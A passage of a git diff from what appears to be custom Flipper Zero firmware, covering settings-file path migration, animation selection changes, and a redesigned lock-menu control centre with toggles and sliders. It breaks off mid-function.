BT_SETTINGS_MAGIC, BT_SETTINGS_VERSION); + + if(!ret) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, BT_SETTINGS_OLD_PATH, BT_SETTINGS_PATH); + storage_common_remove(storage, BT_SETTINGS_OLD_PATH); + furi_record_close(RECORD_STORAGE); + ret = saved_struct_load( + BT_SETTINGS_PATH, + bt_settings, + sizeof(BtSettings), + BT_SETTINGS_MAGIC, + BT_SETTINGS_VERSION); + } + + return ret; } bool bt_settings_save(BtSettings* bt_settings) { diff --git a/applications/services/bt/bt_settings.h b/applications/services/bt/bt_settings.h index 9ed8be89c..620a3f5a6 100644 --- a/applications/services/bt/bt_settings.h +++ b/applications/services/bt/bt_settings.h @@ -1,7 +1,5 @@ #pragma once -#include "bt_settings_filename.h" - #include #include @@ -19,4 +17,4 @@ bool bt_settings_save(BtSettings* bt_settings); #ifdef __cplusplus } -#endif \ No newline at end of file +#endif diff --git a/applications/services/bt/bt_settings_filename.h b/applications/services/bt/bt_settings_filename.h deleted file mode 100644 index e5fb7ec48..000000000 --- a/applications/services/bt/bt_settings_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define BT_SETTINGS_FILE_NAME ".bt.settings" diff --git a/applications/services/cli/cli.c b/applications/services/cli/cli.c index b68505c51..ad3bbd665 100644 --- a/applications/services/cli/cli.c +++ b/applications/services/cli/cli.c @@ -37,9 +37,11 @@ char cli_getc(Cli* cli) { if(cli->session != NULL) { if(cli->session->rx((uint8_t*)&c, 1, FuriWaitForever) == 0) { cli_reset(cli); + furi_delay_tick(10); } } else { cli_reset(cli); + furi_delay_tick(10); } return c; } diff --git a/applications/services/crypto/crypto_cli.c b/applications/services/crypto/crypto_cli.c index 511a9d2a8..d91b448ec 100644 --- a/applications/services/crypto/crypto_cli.c +++ b/applications/services/crypto/crypto_cli.c @@ -276,6 +276,7 @@ void crypto_cli_store_key(Cli* cli, FuriString* args) { } } while(0); + explicit_bzero(data, sizeof(data)); furi_string_free(key_type); } diff --git a/applications/services/desktop/animations/animation_manager.c b/applications/services/desktop/animations/animation_manager.c index ade83a3d8..f4bf320ff 100644 --- a/applications/services/desktop/animations/animation_manager.c +++ b/applications/services/desktop/animations/animation_manager.c @@ -7,6 +7,7 @@ #include #include #include +#include #include "views/bubble_animation_view.h" #include "views/one_shot_animation_view.h" @@ -216,25 +217,25 @@ static bool animation_manager_check_blocking(AnimationManager* animation_manager FS_Error sd_status = storage_sd_status(storage); if(sd_status == FSE_INTERNAL) { - blocking_animation = animation_storage_find_animation(BAD_SD_ANIMATION_NAME); + blocking_animation = animation_storage_find_animation(BAD_SD_ANIMATION_NAME, false); furi_assert(blocking_animation); } else if(sd_status == FSE_NOT_READY) { animation_manager->sd_shown_sd_ok = false; animation_manager->sd_shown_no_db = false; } else if(sd_status == FSE_OK) { if(!animation_manager->sd_shown_sd_ok) { - blocking_animation = animation_storage_find_animation(SD_OK_ANIMATION_NAME); + blocking_animation = animation_storage_find_animation(SD_OK_ANIMATION_NAME, false); furi_assert(blocking_animation); animation_manager->sd_shown_sd_ok = true; } else if(!animation_manager->sd_shown_no_db) { if(!storage_file_exists(storage, EXT_PATH("Manifest"))) { - blocking_animation = animation_storage_find_animation(NO_DB_ANIMATION_NAME); + blocking_animation = animation_storage_find_animation(NO_DB_ANIMATION_NAME, false); furi_assert(blocking_animation); animation_manager->sd_shown_no_db = true; animation_manager->sd_show_url = true; } } else if(animation_manager->sd_show_url) { - blocking_animation = animation_storage_find_animation(URL_ANIMATION_NAME); + blocking_animation = animation_storage_find_animation(URL_ANIMATION_NAME, false); furi_assert(blocking_animation); animation_manager->sd_show_url = false; } @@ -244,7 +245,7 @@ static bool animation_manager_check_blocking(AnimationManager* animation_manager DolphinStats stats = dolphin_stats(dolphin); furi_record_close(RECORD_DOLPHIN); if(!blocking_animation && stats.level_up_is_pending) { - blocking_animation = animation_storage_find_animation(NEW_MAIL_ANIMATION_NAME); + blocking_animation = animation_storage_find_animation(NEW_MAIL_ANIMATION_NAME, false); furi_check(blocking_animation); animation_manager->levelup_pending = true; } @@ -372,10 +373,10 @@ static bool animation_manager_is_valid_idle_animation( static StorageAnimation* animation_manager_select_idle_animation(AnimationManager* animation_manager) { - // const char* avoid_animation = NULL; - // if(animation_manager->current_animation) { - // avoid_animation = animation_storage_get_meta(animation_manager->current_animation)->name; - // } + const char* avoid_animation = NULL; + if(animation_manager->current_animation) { + avoid_animation = animation_storage_get_meta(animation_manager->current_animation)->name; + } UNUSED(animation_manager); StorageAnimationList_t animation_list; @@ -385,9 +386,14 @@ static StorageAnimation* Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); DolphinStats stats = dolphin_stats(dolphin); furi_record_close(RECORD_DOLPHIN); - // avoid_animation = StorageAnimationList_size(animation_list) > 1 ? avoid_animation : NULL; uint32_t whole_weight = 0; + bool fallback = XTREME_SETTINGS()->fallback_anim; + if(StorageAnimationList_size(animation_list) == dolphin_internal_size + 1 && !fallback) { + // One ext anim and fallback disabled, dont skip current anim (current = only ext one) + avoid_animation = NULL; + } + StorageAnimationList_it_t it; bool unlock = XTREME_SETTINGS()->unlock_anims; for(StorageAnimationList_it(it, animation_list); !StorageAnimationList_end_p(it);) { @@ -396,14 +402,14 @@ static StorageAnimation* animation_storage_get_meta(storage_animation); bool valid = animation_manager_is_valid_idle_animation(manifest_info, &stats, unlock); - // Avoid repeating animation - // Bad / empty manifests can crash flipper and (very rarely) require DFU - // Need better solution, disabled for now - // if(avoid_animation != NULL) { - // if(strcmp(manifest_info->name, avoid_animation) == 0) { - // valid = false; - // } - // } + if(avoid_animation != NULL && strcmp(manifest_info->name, avoid_animation) == 0) { + // Avoid repeating same animation twice + valid = false; + } + if(strcmp(manifest_info->name, HARDCODED_ANIMATION_NAME) == 0 && !fallback) { + // Skip fallback animation + valid = false; + } if(valid) { whole_weight += manifest_info->weight; @@ -438,11 +444,24 @@ static StorageAnimation* StorageAnimationList_clear(animation_list); /* cache animation, if failed - choose reliable animation */ - if(!animation_storage_get_bubble_animation(selected)) { + if(selected == NULL) { + FURI_LOG_E(TAG, "Can't find valid animation in manifest"); + selected = animation_storage_find_animation(HARDCODED_ANIMATION_NAME, false); + } else if(!animation_storage_get_bubble_animation(selected)) { const char* name = animation_storage_get_meta(selected)->name; FURI_LOG_E(TAG, "Can't upload animation described in manifest: \'%s\'", name); animation_storage_free_storage_animation(&selected); - selected = animation_storage_find_animation(HARDCODED_ANIMATION_NAME); + selected = animation_storage_find_animation(HARDCODED_ANIMATION_NAME, false); + } else { + FuriHalRtcDateTime date; + furi_hal_rtc_get_datetime(&date); + if(date.month == 4 && date.day == 1 && furi_hal_random_get() % 2) { + animation_storage_free_storage_animation(&selected); + selected = animation_storage_find_animation("L3_Sunflower_128x64", true); + if(selected == NULL) { + selected = animation_storage_find_animation(HARDCODED_ANIMATION_NAME, false); + } + } } furi_assert(selected); @@ -501,7 +520,7 @@ void animation_manager_load_and_continue_animation(AnimationManager* animation_m if(animation_manager->state == AnimationManagerStateFreezedBlocked) { StorageAnimation* restore_animation = animation_storage_find_animation( - furi_string_get_cstr(animation_manager->freezed_animation_name)); + furi_string_get_cstr(animation_manager->freezed_animation_name), false); /* all blocked animations must be in flipper -> we can * always find blocking animation */ furi_assert(restore_animation); @@ -513,7 +532,7 @@ void animation_manager_load_and_continue_animation(AnimationManager* animation_m if(!blocked) { /* if no blocking - try restore last one idle */ StorageAnimation* restore_animation = animation_storage_find_animation( - furi_string_get_cstr(animation_manager->freezed_animation_name)); + furi_string_get_cstr(animation_manager->freezed_animation_name), false); if(restore_animation) { Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); DolphinStats stats = dolphin_stats(dolphin); diff --git a/applications/services/desktop/animations/animation_storage.c b/applications/services/desktop/animations/animation_storage.c index d04871e62..30fa0c014 100644 --- a/applications/services/desktop/animations/animation_storage.c +++ b/applications/services/desktop/animations/animation_storage.c @@ -30,11 +30,11 @@ static void animation_storage_free_frames(BubbleAnimation* animation); static void animation_storage_free_animation(BubbleAnimation** storage_animation); static BubbleAnimation* animation_storage_load_animation(const char* name); -void animation_handler_select_manifest() { +void animation_handler_select_manifest(bool force_stock) { XtremeSettings* xtreme_settings = XTREME_SETTINGS(); FuriString* anim_dir = furi_string_alloc(); FuriString* manifest = furi_string_alloc(); - bool use_asset_pack = xtreme_settings->asset_pack[0] != '\0'; + bool use_asset_pack = !force_stock && xtreme_settings->asset_pack[0] != '\0'; if(use_asset_pack) { furi_string_printf(anim_dir, "%s/%s/Anims", PACKS_DIR, xtreme_settings->asset_pack); furi_string_printf(manifest, "%s/manifest.txt", furi_string_get_cstr(anim_dir)); @@ -60,9 +60,10 @@ void animation_handler_select_manifest() { static bool animation_storage_load_single_manifest_info( StorageAnimationManifestInfo* manifest_info, - const char* name) { + const char* name, + bool force_stock) { furi_assert(manifest_info); - animation_handler_select_manifest(); + animation_handler_select_manifest(force_stock); bool result = false; Storage* storage = furi_record_open(RECORD_STORAGE); FlipperFormat* file = flipper_format_file_alloc(storage); @@ -118,7 +119,7 @@ static bool animation_storage_load_single_manifest_info( void animation_storage_fill_animation_list(StorageAnimationList_t* animation_list) { furi_assert(sizeof(StorageAnimationList_t) == sizeof(void*)); furi_assert(!StorageAnimationList_size(*animation_list)); - animation_handler_select_manifest(); + animation_handler_select_manifest(false); Storage* storage = furi_record_open(RECORD_STORAGE); FlipperFormat* file = flipper_format_file_alloc(storage); @@ -174,7 +175,7 @@ void animation_storage_fill_animation_list(StorageAnimationList_t* animation_lis furi_record_close(RECORD_STORAGE); } -StorageAnimation* animation_storage_find_animation(const char* name) { +StorageAnimation* animation_storage_find_animation(const char* name, bool force_stock) { furi_assert(name); furi_assert(strlen(name)); StorageAnimation* storage_animation = NULL; @@ -201,8 +202,8 @@ StorageAnimation* animation_storage_find_animation(const char* name) { storage_animation->external = true; bool result = false; - result = - animation_storage_load_single_manifest_info(&storage_animation->manifest_info, name); + result = animation_storage_load_single_manifest_info( + &storage_animation->manifest_info, name, force_stock); if(result) { storage_animation->animation = animation_storage_load_animation(name); result = !!storage_animation->animation; diff --git a/applications/services/desktop/animations/animation_storage.h b/applications/services/desktop/animations/animation_storage.h index 16c0feab4..55512e008 100644 --- a/applications/services/desktop/animations/animation_storage.h +++ b/applications/services/desktop/animations/animation_storage.h @@ -61,7 +61,7 @@ void animation_storage_cache_animation(StorageAnimation* storage_animation); * @name name of animation * @return found animation. NULL if nothing found. */ -StorageAnimation* animation_storage_find_animation(const char* name); +StorageAnimation* animation_storage_find_animation(const char* name, bool force_stock); /** * Get meta information of storage animation. diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 1fe23bb1d..dab7fefc3 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -15,7 +15,6 @@ #include "desktop/views/desktop_view_pin_timeout.h" #include "desktop_i.h" #include "helpers/pin_lock.h" -#include "helpers/slideshow_filename.h" #define TAG "Desktop" diff --git a/applications/services/desktop/desktop_settings.c b/applications/services/desktop/desktop_settings.c new file mode 100644 index 000000000..9c95e950f --- /dev/null +++ b/applications/services/desktop/desktop_settings.c @@ -0,0 +1,34 @@ +#include "desktop_settings.h" + +bool DESKTOP_SETTINGS_SAVE(DesktopSettings* x) { + return saved_struct_save( + DESKTOP_SETTINGS_PATH, + x, + sizeof(DesktopSettings), + DESKTOP_SETTINGS_MAGIC, + DESKTOP_SETTINGS_VER); +} + +bool DESKTOP_SETTINGS_LOAD(DesktopSettings* x) { + bool ret = saved_struct_load( + DESKTOP_SETTINGS_PATH, + x, + sizeof(DesktopSettings), + DESKTOP_SETTINGS_MAGIC, + DESKTOP_SETTINGS_VER); + + if(!ret) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, DESKTOP_SETTINGS_OLD_PATH, DESKTOP_SETTINGS_PATH); + storage_common_remove(storage, DESKTOP_SETTINGS_OLD_PATH); + furi_record_close(RECORD_STORAGE); + ret = saved_struct_load( + DESKTOP_SETTINGS_PATH, + x, + sizeof(DesktopSettings), + DESKTOP_SETTINGS_MAGIC, + DESKTOP_SETTINGS_VER); + } + + return ret; +} diff --git a/applications/services/desktop/desktop_settings.h b/applications/services/desktop/desktop_settings.h index 0019f1ef8..62d4e5aae 100644 --- a/applications/services/desktop/desktop_settings.h +++ b/applications/services/desktop/desktop_settings.h @@ -1,7 +1,5 @@ #pragma once -#include "desktop_settings_filename.h" - #include #include #include @@ -11,28 +9,13 @@ #define DESKTOP_SETTINGS_VER (7) -#define DESKTOP_SETTINGS_PATH INT_PATH(DESKTOP_SETTINGS_FILE_NAME) +#define DESKTOP_SETTINGS_OLD_PATH INT_PATH(".desktop.settings") +#define DESKTOP_SETTINGS_PATH CFG_PATH("desktop.settings") #define DESKTOP_SETTINGS_MAGIC (0x17) #define PIN_MAX_LENGTH 12 #define DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG "run_pin_setup" -#define DESKTOP_SETTINGS_SAVE(x) \ - saved_struct_save( \ - DESKTOP_SETTINGS_PATH, \ - (x), \ - sizeof(DesktopSettings), \ - DESKTOP_SETTINGS_MAGIC, \ - DESKTOP_SETTINGS_VER) - -#define DESKTOP_SETTINGS_LOAD(x) \ - saved_struct_load( \ - DESKTOP_SETTINGS_PATH, \ - (x), \ - sizeof(DesktopSettings), \ - DESKTOP_SETTINGS_MAGIC, \ - DESKTOP_SETTINGS_VER) - #define MAX_PIN_SIZE 10 #define MIN_PIN_SIZE 4 #define MAX_APP_LENGTH 128 @@ -55,3 +38,7 @@ typedef struct { uint32_t auto_lock_delay_ms; bool auto_lock_with_pin; } DesktopSettings; + +bool DESKTOP_SETTINGS_SAVE(DesktopSettings* x); + +bool DESKTOP_SETTINGS_LOAD(DesktopSettings* x); diff --git a/applications/services/desktop/desktop_settings_filename.h b/applications/services/desktop/desktop_settings_filename.h deleted file mode 100644 index b9140f24c..000000000 --- a/applications/services/desktop/desktop_settings_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define DESKTOP_SETTINGS_FILE_NAME ".desktop.settings" diff --git a/applications/services/desktop/helpers/slideshow.c b/applications/services/desktop/helpers/slideshow.c index a8e132779..8434d394f 100644 --- a/applications/services/desktop/helpers/slideshow.c +++ b/applications/services/desktop/helpers/slideshow.c @@ -3,18 +3,11 @@ #include #include #include -#include #include #define SLIDESHOW_MAGIC 0x72676468 #define SLIDESHOW_MAX_SUPPORTED_VERSION 1 -struct Slideshow { - Icon icon; - uint32_t current_frame; - bool loaded; -}; - #pragma pack(push, 1) typedef struct { diff --git a/applications/services/desktop/helpers/slideshow.h b/applications/services/desktop/helpers/slideshow.h index 9083e0dcf..3d52f5e10 100644 --- a/applications/services/desktop/helpers/slideshow.h +++ b/applications/services/desktop/helpers/slideshow.h @@ -1,8 +1,13 @@ #pragma once #include +#include -typedef struct Slideshow Slideshow; +typedef struct { + Icon icon; + uint32_t current_frame; + bool loaded; +} Slideshow; Slideshow* slideshow_alloc(); diff --git a/applications/services/desktop/helpers/slideshow_filename.h b/applications/services/desktop/helpers/slideshow_filename.h deleted file mode 100644 index 2250d91dd..000000000 --- a/applications/services/desktop/helpers/slideshow_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define SLIDESHOW_FILE_NAME ".slideshow" diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index 26e40e974..05c397f18 100644 --- a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -4,6 +4,8 @@ #include #include #include +// #include +#include #include "../desktop_i.h" #include @@ -26,42 +28,61 @@ void desktop_scene_lock_menu_on_enter(void* context) { scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); desktop_lock_menu_set_callback(desktop->lock_menu, desktop_scene_lock_menu_callback, desktop); desktop_lock_menu_set_pin_state(desktop->lock_menu, desktop->settings.pin_code.length > 0); - desktop_lock_menu_set_idx(desktop->lock_menu, 0); + desktop_lock_menu_set_idx(desktop->lock_menu, 3); + + Gui* gui = furi_record_open(RECORD_GUI); + gui_set_hide_statusbar(gui, true); + furi_record_close(RECORD_GUI); view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdLockMenu); } +void desktop_scene_lock_menu_save_settings(Desktop* desktop) { + if(desktop->lock_menu->save_notification) { + notification_message_save_settings(desktop->lock_menu->notification); + desktop->lock_menu->save_notification = false; + } + if(desktop->lock_menu->save_xtreme) { + XTREME_SETTINGS_SAVE(); + desktop->lock_menu->save_xtreme = false; + } + if(desktop->lock_menu->save_bt) { + bt_settings_save(&desktop->lock_menu->bt->bt_settings); + desktop->lock_menu->save_bt = false; + } +} + bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { Desktop* desktop = (Desktop*)context; bool consumed = false; if(event.type == SceneManagerEventTypeTick) { - int check_pin_changed = + bool check_pin_changed = scene_manager_get_scene_state(desktop->scene_manager, DesktopSceneLockMenu); if(check_pin_changed) { DESKTOP_SETTINGS_LOAD(&desktop->settings); if(desktop->settings.pin_code.length > 0) { desktop_lock_menu_set_pin_state(desktop->lock_menu, true); scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); - if(check_pin_changed == 2) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - Power* power = furi_record_open(RECORD_POWER); - furi_delay_ms(666); - power_off(power); - furi_record_close(RECORD_POWER); - } + desktop_pin_lock(&desktop->settings); + desktop_lock(desktop); } } } else if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { + case DesktopLockMenuEventSettings: + desktop_scene_lock_menu_save_settings(desktop); + loader_show_settings(); + consumed = true; + break; case DesktopLockMenuEventLock: + desktop_scene_lock_menu_save_settings(desktop); scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); desktop_lock(desktop); consumed = true; break; - - case DesktopLockMenuEventPinLock: + case DesktopLockMenuEventLockPin: + desktop_scene_lock_menu_save_settings(desktop); if(desktop->settings.pin_code.length > 0) { desktop_pin_lock(&desktop->settings); desktop_lock(desktop); @@ -76,30 +97,11 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { } consumed = true; break; - - case DesktopLockMenuEventPinLockShutdown: - if(desktop->settings.pin_code.length > 0) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - Power* power = furi_record_open(RECORD_POWER); - furi_delay_ms(666); - power_off(power); - furi_record_close(RECORD_POWER); - } else { - LoaderStatus status = - loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); - if(status == LoaderStatusOk) { - scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 2); - } else { - FURI_LOG_E(TAG, "Unable to start desktop settings"); - } - } - consumed = true; - break; - - case DesktopLockMenuEventXtremeSettings: + case DesktopLockMenuEventXtreme: + desktop_scene_lock_menu_save_settings(desktop); loader_start( desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("apps/.Main/xtreme_app.fap")); + consumed = true; break; default: break; @@ -111,5 +113,10 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { } void desktop_scene_lock_menu_on_exit(void* context) { - UNUSED(context); + Desktop* desktop = (Desktop*)context; + desktop_scene_lock_menu_save_settings(desktop); + + Gui* gui = furi_record_open(RECORD_GUI); + gui_set_hide_statusbar(gui, false); + furi_record_close(RECORD_GUI); } diff --git a/applications/services/desktop/scenes/desktop_scene_locked.c b/applications/services/desktop/scenes/desktop_scene_locked.c index af19efc74..eaa2b1e11 100644 --- a/applications/services/desktop/scenes/desktop_scene_locked.c +++ b/applications/services/desktop/scenes/desktop_scene_locked.c @@ -60,11 +60,11 @@ void desktop_scene_locked_on_enter(void* context) { desktop->scene_manager, DesktopScenePinTimeout, pin_timeout); switch_to_timeout_scene = true; } else { - desktop_view_locked_close_doors(desktop->locked_view); + desktop_view_locked_close_cover(desktop->locked_view); } } else { desktop_view_locked_lock(desktop->locked_view, false); - desktop_view_locked_close_doors(desktop->locked_view); + desktop_view_locked_close_cover(desktop->locked_view); } scene_manager_set_scene_state( desktop->scene_manager, DesktopSceneLocked, SCENE_LOCKED_REPEAT_ENTER); @@ -89,7 +89,8 @@ bool desktop_scene_locked_on_event(void* context, SceneManagerEvent event) { break; case DesktopLockedEventUpdate: if(desktop_view_locked_is_locked_hint_visible(desktop->locked_view)) { - notification_message(desktop->notification, &sequence_display_backlight_off); + notification_message( + desktop->notification, &sequence_display_backlight_off_delay_1000); } desktop_view_locked_update(desktop->locked_view); consumed = true; diff --git a/applications/services/desktop/scenes/desktop_scene_slideshow.c b/applications/services/desktop/scenes/desktop_scene_slideshow.c index 012aff751..270302340 100644 --- a/applications/services/desktop/scenes/desktop_scene_slideshow.c +++ b/applications/services/desktop/scenes/desktop_scene_slideshow.c @@ -16,6 +16,7 @@ void desktop_scene_slideshow_on_enter(void* context) { desktop_view_slideshow_set_callback(slideshow_view, desktop_scene_slideshow_callback, desktop); + gui_set_hide_statusbar(desktop->gui, true); view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdSlideshow); } @@ -45,8 +46,9 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) { } void desktop_scene_slideshow_on_exit(void* context) { - UNUSED(context); + Desktop* desktop = (Desktop*)context; + gui_set_hide_statusbar(desktop->gui, false); Storage* storage = furi_record_open(RECORD_STORAGE); storage_common_remove(storage, SLIDESHOW_FS_PATH); furi_record_close(RECORD_STORAGE); diff --git a/applications/services/desktop/views/desktop_events.h b/applications/services/desktop/views/desktop_events.h index a17114ad2..e3d4e2d7b 100644 --- a/applications/services/desktop/views/desktop_events.h +++ b/applications/services/desktop/views/desktop_events.h @@ -39,11 +39,10 @@ typedef enum { DesktopDebugEventSaveState, DesktopDebugEventExit, + DesktopLockMenuEventSettings, DesktopLockMenuEventLock, - DesktopLockMenuEventPinLock, - DesktopLockMenuEventPinLockShutdown, - DesktopLockMenuEventExit, - DesktopLockMenuEventXtremeSettings, + DesktopLockMenuEventLockPin, + DesktopLockMenuEventXtreme, DesktopAnimationEventCheckAnimation, DesktopAnimationEventNewIdleAnimation, diff --git a/applications/services/desktop/views/desktop_view_lock_menu.c b/applications/services/desktop/views/desktop_view_lock_menu.c index f9530fe84..1275a48e4 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.c +++ b/applications/services/desktop/views/desktop_view_lock_menu.c @@ -1,15 +1,28 @@ #include #include #include +#include +#include #include "../desktop_i.h" #include "desktop_view_lock_menu.h" +static const NotificationSequence sequence_note_c = { + &message_note_c5, + &message_delay_100, + &message_sound_off, + NULL, +}; + typedef enum { + DesktopLockMenuIndexLefthandedMode, + DesktopLockMenuIndexSettings, + DesktopLockMenuIndexDarkMode, DesktopLockMenuIndexLock, - DesktopLockMenuIndexPinLock, - DesktopLockMenuIndexPinLockShutdown, - DesktopLockMenuIndexXtremeSettings, + DesktopLockMenuIndexBluetooth, + DesktopLockMenuIndexXtreme, + DesktopLockMenuIndexBrightness, + DesktopLockMenuIndexVolume, DesktopLockMenuIndexTotalCount } DesktopLockMenuIndex; @@ -28,7 +41,10 @@ void desktop_lock_menu_set_pin_state(DesktopLockMenuView* lock_menu, bool pin_is with_view_model( lock_menu->view, DesktopLockMenuViewModel * model, - { model->pin_is_set = pin_is_set; }, + { + model->pin_is_set = pin_is_set; + model->pin_lock = pin_is_set; + }, true); } @@ -42,36 +58,112 @@ void desktop_lock_menu_draw_callback(Canvas* canvas, void* model) { DesktopLockMenuViewModel* m = model; canvas_set_color(canvas, ColorBlack); - canvas_draw_icon(canvas, -57, 0 + STATUS_BAR_Y_SHIFT, &I_DoorLeft_70x55); - canvas_draw_icon(canvas, 116, 0 + STATUS_BAR_Y_SHIFT, &I_DoorRight_70x55); canvas_set_font(canvas, FontBatteryPercent); + int x, y, w, h; + bool selected, toggle; + bool enabled = false; + uint value = 0; + int total = 58; + const Icon* icon = NULL; for(size_t i = 0; i < DesktopLockMenuIndexTotalCount; ++i) { - const char* str = NULL; - - if(i == DesktopLockMenuIndexLock) { - str = "Lock"; - } else if(i == DesktopLockMenuIndexPinLock) { - if(m->pin_is_set) { - str = "Lock with PIN"; - } else { - str = "Set PIN"; - } - } else if(i == DesktopLockMenuIndexPinLockShutdown) { - if(m->pin_is_set) { - str = "Lock with PIN + Off"; - } else { - str = "Set PIN + Off"; - } - } else if(i == DesktopLockMenuIndexXtremeSettings) { - str = "Xtreme Settings"; + selected = m->idx == i; + toggle = i < 6; + if(toggle) { + x = 2 + 32 * (i / 2); + y = 2 + 32 * (i % 2); + w = 28; + h = 28; + enabled = false; + } else { + x = 98 + 16 * (i % 2); + y = 2; + w = 12; + h = 60; + value = 0; } - if(str) //-V547 - canvas_draw_str_aligned( - canvas, 64, 9 + (i * 12) + STATUS_BAR_Y_SHIFT, AlignCenter, AlignCenter, str); + switch(i) { + case DesktopLockMenuIndexLefthandedMode: + icon = &I_CC_LefthandedMode_16x16; + enabled = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); + break; + case DesktopLockMenuIndexSettings: + icon = &I_CC_Settings_16x16; + break; + case DesktopLockMenuIndexDarkMode: + icon = &I_CC_DarkMode_16x16; + enabled = XTREME_SETTINGS()->dark_mode; + break; + case DesktopLockMenuIndexLock: + icon = &I_CC_Lock_16x16; + break; + case DesktopLockMenuIndexBluetooth: + icon = &I_CC_Bluetooth_16x16; + enabled = m->lock_menu->bt->bt_settings.enabled; + break; + case DesktopLockMenuIndexXtreme: + icon = &I_CC_Xtreme_16x16; + break; + case DesktopLockMenuIndexBrightness: + icon = &I_Pin_star_7x7; + value = total - m->lock_menu->notification->settings.display_brightness * total; + break; + case DesktopLockMenuIndexVolume: + icon = &I_Volup_8x6; + value = total - m->lock_menu->notification->settings.speaker_volume * total; + break; + default: + break; + } - if(m->idx == i) elements_frame(canvas, 15, 1 + (i * 12) + STATUS_BAR_Y_SHIFT, 98, 15); + if(selected) { + elements_bold_rounded_frame(canvas, x - 1, y - 1, w + 1, h + 1); + } else { + canvas_draw_rframe(canvas, x, y, w, h, 5); + } + + if(toggle) { + if(enabled) { + canvas_draw_rbox(canvas, x, y, w, h, 5); + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_icon( + canvas, + x + (w - icon_get_width(icon)) / 2, + y + (h - icon_get_height(icon)) / 2, + icon); + if(enabled) { + canvas_set_color(canvas, ColorBlack); + } + } else { + canvas_draw_icon( + canvas, + x + (w - icon_get_width(icon)) / 2, + y + (h - icon_get_height(icon)) / 2, + icon); + canvas_set_color(canvas, ColorXOR); + canvas_draw_box(canvas, x + 1, y + 1 + value, w - 2, h - 2 - value); + if(selected) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_dot(canvas, x + 1, y + 1); + canvas_draw_dot(canvas, x + 1, y + h - 2); + canvas_draw_dot(canvas, x + w - 2, y + 1); + canvas_draw_dot(canvas, x + w - 2, y + h - 2); + canvas_set_color(canvas, ColorBlack); + canvas_draw_rframe(canvas, x, y, w, h, 5); + } + } + + if(m->show_lock_menu) { + canvas_set_font(canvas, FontSecondary); + elements_bold_rounded_frame(canvas, 24, 10, 80, 44); + canvas_draw_str_aligned(canvas, 64, 24, AlignCenter, AlignCenter, "Keypad Lock"); + canvas_draw_str_aligned(canvas, 64, 40, AlignCenter, AlignCenter, "PIN Code Lock"); + elements_frame(canvas, 30, m->pin_lock ? 32 : 16, 68, 15); } } @@ -86,47 +178,138 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { DesktopLockMenuView* lock_menu = context; uint8_t idx = 0; - bool consumed = false; - bool update = false; + bool pin_lock = false; + bool show_lock_menu = false; + bool consumed = true; with_view_model( lock_menu->view, DesktopLockMenuViewModel * model, { + show_lock_menu = model->show_lock_menu; if((event->type == InputTypeShort) || (event->type == InputTypeRepeat)) { - if(event->key == InputKeyUp) { - if(model->idx == 0) { - model->idx = DesktopLockMenuIndexTotalCount - 1; - } else { - model->idx = CLAMP(model->idx - 1, DesktopLockMenuIndexTotalCount - 1, 0); + if(model->show_lock_menu) { + if(event->key == InputKeyUp || event->key == InputKeyDown) { + model->pin_lock = !model->pin_lock; + } else if(event->key == InputKeyBack || event->key == InputKeyOk) { + model->show_lock_menu = false; } - update = true; - consumed = true; - } else if(event->key == InputKeyDown) { - if(model->idx == DesktopLockMenuIndexTotalCount - 1) { - model->idx = 0; + } else { + if(model->idx == DesktopLockMenuIndexLock && event->key == InputKeyOk) { + model->show_lock_menu = true; + } else if(model->idx < 6) { + if(event->key == InputKeyUp || event->key == InputKeyDown) { + if(model->idx % 2) { + model->idx--; + } else { + model->idx++; + } + } else if(event->key == InputKeyLeft) { + if(model->idx < 2) { + model->idx = 7; + } else { + model->idx -= 2; + } + } else if(event->key == InputKeyRight) { + if(model->idx >= 4) { + model->idx = 6; + } else { + model->idx += 2; + } + } } else { - model->idx = CLAMP(model->idx + 1, DesktopLockMenuIndexTotalCount - 1, 0); + if(event->key == InputKeyLeft) { + model->idx--; + } else if(event->key == InputKeyRight) { + if(model->idx >= 7) { + model->idx = 1; + } else { + model->idx++; + } + } } - update = true; - consumed = true; } } idx = model->idx; + pin_lock = model->pin_lock; }, - update); + true); - if(event->key == InputKeyOk) { - if((idx == DesktopLockMenuIndexLock) && (event->type == InputTypeShort)) { - lock_menu->callback(DesktopLockMenuEventLock, lock_menu->context); - } else if((idx == DesktopLockMenuIndexPinLock) && (event->type == InputTypeShort)) { - 